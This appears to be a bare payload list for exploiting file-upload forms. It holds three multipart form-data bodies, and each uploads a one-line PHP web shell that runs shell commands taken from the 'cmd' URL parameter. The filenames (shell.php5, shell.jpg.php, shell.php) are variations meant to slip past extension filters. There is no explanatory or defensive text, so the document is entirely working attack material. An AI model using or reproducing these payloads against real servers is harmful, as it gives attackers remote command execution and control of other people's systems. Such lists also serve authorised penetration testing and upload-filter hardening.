Content-Disposition: form-data; name="image"; filename="shell.php5"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
======================================================================
Content-Disposition: form-data; name="image"; filename="shell.jpg.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
======================================================================
Content-Disposition: form-data; name="image"; filename="shell.php"
<?php system($_GET['cmd']); ?>